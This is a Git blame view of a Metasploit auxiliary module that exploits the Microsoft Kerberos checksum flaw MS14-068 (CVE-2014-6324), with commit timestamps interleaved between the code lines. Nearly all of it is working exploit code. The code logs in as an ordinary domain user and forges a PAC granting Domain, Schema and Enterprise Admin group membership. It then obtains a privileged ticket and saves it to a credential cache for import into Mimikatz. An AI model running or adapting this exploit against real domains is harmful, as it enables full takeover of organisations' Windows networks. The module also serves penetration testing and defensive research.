metasploit-framework/modules/auxiliary/admin/kerberos/ms14_068_kerberos_checksum.rb

132 lines
4.1 KiB
Ruby
Raw Normal View History

2014-12-18 01:57:10 +00:00
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex'
class Metasploit4 < Msf::Auxiliary
include Msf::Kerberos::Client
2014-12-18 01:57:10 +00:00
def initialize(info = {})
super(update_info(info,
2014-12-22 20:29:02 +00:00
'Name' => 'MS14-068 Microsfot Kerberos Checksum Validation Vulnerability',
2014-12-18 01:57:10 +00:00
'Description' => %q{
2014-12-22 20:29:02 +00:00
This module exploits a vulnerability in the Microsoft Kerberos implementation. The problem
exists in the verification of the Privilege Attribute Certificate (PAC) from a Kerberos TGS
request, allowing a domain user to forge a PAC with arbitrary privileges, including Domain
Administrator. This module outputs a MIT Kerberos Credential Cache with the privileged
ticket, which can be imported, for example, on Mimikatz. It has been tested successfully on
Windows 2008.
2014-12-18 01:57:10 +00:00
},
'Author' =>
[
2014-12-22 18:34:31 +00:00
'Tom Maddock', # Vulnerability discovery
'Sylvain Monne', # pykek framework and exploit
2014-12-22 20:29:02 +00:00
'juan vazquez' # Metasploit module
2014-12-18 01:57:10 +00:00
],
'References' =>
[
2014-12-22 18:29:28 +00:00
['CVE', '2014-6324'],
['MSB', 'MS14-068'],
2014-12-22 18:34:31 +00:00
['OSVDB', '114751'],
['URL', 'http://blogs.technet.com/b/srd/archive/2014/11/18/additional-information-about-cve-2014-6324.aspx'],
['URL', 'https://labs.mwrinfosecurity.com/blog/2014/12/16/digging-into-ms14-068-exploitation-and-defence/'],
['URL', 'https://github.com/bidord/pykek']
2014-12-18 01:57:10 +00:00
],
'License' => MSF_LICENSE,
2014-12-22 18:34:31 +00:00
'DisclosureDate' => 'Nov 18 2014'
2014-12-18 01:57:10 +00:00
))
2014-12-22 20:29:02 +00:00
register_options(
[
OptString.new('USER', [ true, 'The Domain User', 'juan']),
OptString.new('PASSWORD', [ true, 'The Domain User password', 'juan']),
OptString.new('DOMAIN', [ true, 'The Domain Ex: DEMO.LOCAL', 'DEMO.LOCAL']),
OptString.new('DOMAIN_SID', [ true, 'The Domain SID Ex: S-1-5-21-1755879683-3641577184-3486455962', 'S-1-5-21-1755879683-3641577184-3486455962'])
], self.class)
2014-12-18 01:57:10 +00:00
end
def run
2014-12-22 20:29:02 +00:00
print_status("#{peer} - Connecting with the KDC...")
connect(:rhost => datastore['RHOST'])
2014-12-20 00:10:14 +00:00
2014-12-22 20:29:02 +00:00
unicode_password = Rex::Text.to_unicode(datastore['PASSWORD'])
password_digest = OpenSSL::Digest.digest('MD4', unicode_password)
2014-12-20 00:23:11 +00:00
2014-12-20 00:10:14 +00:00
pre_auth = []
2014-12-22 20:29:02 +00:00
pre_auth << build_as_pa_time_stamp(key: password_digest)
2014-12-20 00:23:11 +00:00
pre_auth << build_pa_pac_request
2014-12-20 00:10:14 +00:00
pre_auth
2014-12-22 20:29:02 +00:00
print_status("#{peer} - Sending AS-REQ...")
2014-12-20 00:23:11 +00:00
res = send_request_as(
2014-12-22 20:29:02 +00:00
client_name: "#{datastore['USER']}",
server_name: "krbtgt/#{datastore['DOMAIN']}",
realm: "#{datastore['DOMAIN']}",
key: password_digest,
2014-12-20 00:23:11 +00:00
pa_data: pre_auth
)
2014-12-18 01:57:10 +00:00
2014-12-22 20:29:02 +00:00
unless res.msg_type == Rex::Proto::Kerberos::Model::AS_REP
print_error("#{peer} - Invalid AS-REP, aborting...")
2014-12-18 01:57:10 +00:00
return
end
2014-12-22 20:29:02 +00:00
print_status("#{peer} - Parsing AS-REP...")
2014-12-18 01:57:10 +00:00
2014-12-22 20:29:02 +00:00
session_key = extract_session_key(res, password_digest)
logon_time = extract_logon_time(res, password_digest)
2014-12-18 01:57:10 +00:00
ticket = res.ticket
2014-12-20 01:46:50 +00:00
pre_auth = []
pre_auth << build_pa_pac_request
2014-12-22 20:29:02 +00:00
groups = [
513, # DOMAIN_USERS
512, # DOMAIN_ADMINS
520, # GROUP_POLICY_CREATOR_OWNERS
518, # SCHEMA_ADMINISTRATORS
519 # ENTERPRISE_ADMINS
]
2014-12-20 00:47:41 +00:00
pac = build_pac(
2014-12-22 20:29:02 +00:00
client_name: datastore['USER'],
group_ids: groups,
domain_id: datastore['DOMAIN_SID'],
realm: datastore['DOMAIN'],
2014-12-20 00:47:41 +00:00
logon_time: logon_time,
)
auth_data = build_pac_authorization_data(pac: pac)
2014-12-22 20:29:02 +00:00
print_status("#{peer} - Sending TGS-REQ...")
2014-12-20 00:23:11 +00:00
res = send_request_tgs(
2014-12-22 20:29:02 +00:00
client_name: datastore['USER'],
server_name: "krbtgt/#{datastore['DOMAIN']}",
realm: datastore['DOMAIN'],
2014-12-18 01:57:10 +00:00
session_key: session_key,
ticket: ticket,
2014-12-20 01:46:50 +00:00
auth_data: auth_data,
pa_data: pre_auth
2014-12-18 01:57:10 +00:00
)
2014-12-22 20:29:02 +00:00
unless res.msg_type == Rex::Proto::Kerberos::Model::TGS_REP
print_error("#{peer} - Invalid TGS-REP, aborting...")
2014-12-18 01:57:10 +00:00
return
end
2014-12-22 20:29:02 +00:00
print_good("#{peer} - Valid TGS-Response, extracting credentials...")
2014-12-18 01:57:10 +00:00
cache = extract_kerb_creds(res, 'AAAABBBBCCCCDDDD')
f = File.new('/tmp/cache.ticket', 'wb')
f.write(cache.encode)
f.close
2014-12-18 01:57:10 +00:00
end
end